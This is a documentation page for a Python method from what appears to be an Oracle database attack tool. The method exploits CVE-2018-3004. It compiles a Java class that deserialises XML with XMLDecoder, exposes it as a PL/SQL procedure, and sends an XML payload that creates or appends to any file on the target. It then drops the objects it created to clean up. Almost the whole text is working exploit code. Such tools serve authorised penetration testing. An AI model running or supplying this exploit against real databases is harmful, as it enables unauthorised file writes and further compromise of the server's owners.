Method createOrAppendFileViaCVE_2018_3004

Java.py:249–304

Exploit CVE-2018-3004 write data in remoteFilename on the target If file does not exist, it is created. Otherwise, data are appended in remoteFilename.

(self, data, remoteFilename)

	####################################################################################################################
	
	def createOrAppendFileViaCVE_2018_3004(self, data, remoteFilename):
		'''
		Exploit CVE-2018-3004
		write data in remoteFilename on the target
		If file does not exist, it is created.
		Otherwise, data are appended in remoteFilename.
		'''
		CREATE_CLASS_EXPLOIT = """
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "exploitDeserializationJava" AS
import java.io.*;
import java.beans.*;
public class exploitDeserializationJava{
	public static void input(String xml) throws InterruptedException, IOException {   
		XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
		Object object = decoder.readObject();
		System.out.println(object.toString());
		decoder.close();        
	}
};
		"""
		CREATE_FUNCTION_EXPLOIT ="CREATE OR REPLACE PROCEDURE exploitDeserialization (xmlcode IN VARCHAR2) IS language java name 'exploitDeserializationJava.input(java.lang.String)';"
		EXECUTE_FUNCTION = "BEGIN exploitDeserialization('{0}'); END;"
		XML_CODE = '<java class="java.beans.XMLDecoder" version="1.4.0"><object class="java.io.FileWriter"><string>{0}</string><boolean>True</boolean><void method="write"><string>{1}</string></void><void method="close"/></object></java>' #{0}:Filename on the target, {1}: data to write on the file
		SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"exploitDeserializationJava\""
		SOURCE_DROP_FUNCTION = "DROP PROCEDURE exploitDeserialization"
		
		logging.info("Trying to write {0} in {1} on the target".format(repr(data), remoteFilename))
		logging.info("Create and compile the java class")
		status = self.__execPLSQL__(CREATE_CLASS_EXPLOIT)
		if isinstance(status,Exception):
			logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status)))
			return status
		else :
			logging.debug("Java class created")
			logging.info("Create a stored procedure to call java")
			status = self.__execPLSQL__(CREATE_FUNCTION_EXPLOIT)
			if isinstance(status,Exception):
				logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status)))
				return status
			logging.debug("Stored procedure created")
			xmlCode = XML_CODE.format(remoteFilename, data)
			logging.info("Executing the function with the xml code: {0}".format(xmlCode))
			status = self.__execPLSQL__(EXECUTE_FUNCTION.format(xmlCode))
			if isinstance(status, Exception):
				logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(EXECUTE_FUNCTION.format(xmlCode), self.cleanError(status)))
				return status
			logging.info("Delete the PL/SQL PROCEDURE created")
			status = self.__execPLSQL__(SOURCE_DROP_FUNCTION)	
			if isinstance(status,Exception):
				logging.info("Impossible to drop the function: {0}".format(self.cleanError(status)))
			else: 
				logging.info("Delete the java class compiled")
				status = self.__execPLSQL__(SOURCE_DROP_CLASS)
				if isinstance(status,Exception):
					logging.info("Impossible to drop the class: {0}".format(self.cleanError(status)))
			return True

	def testAll (self):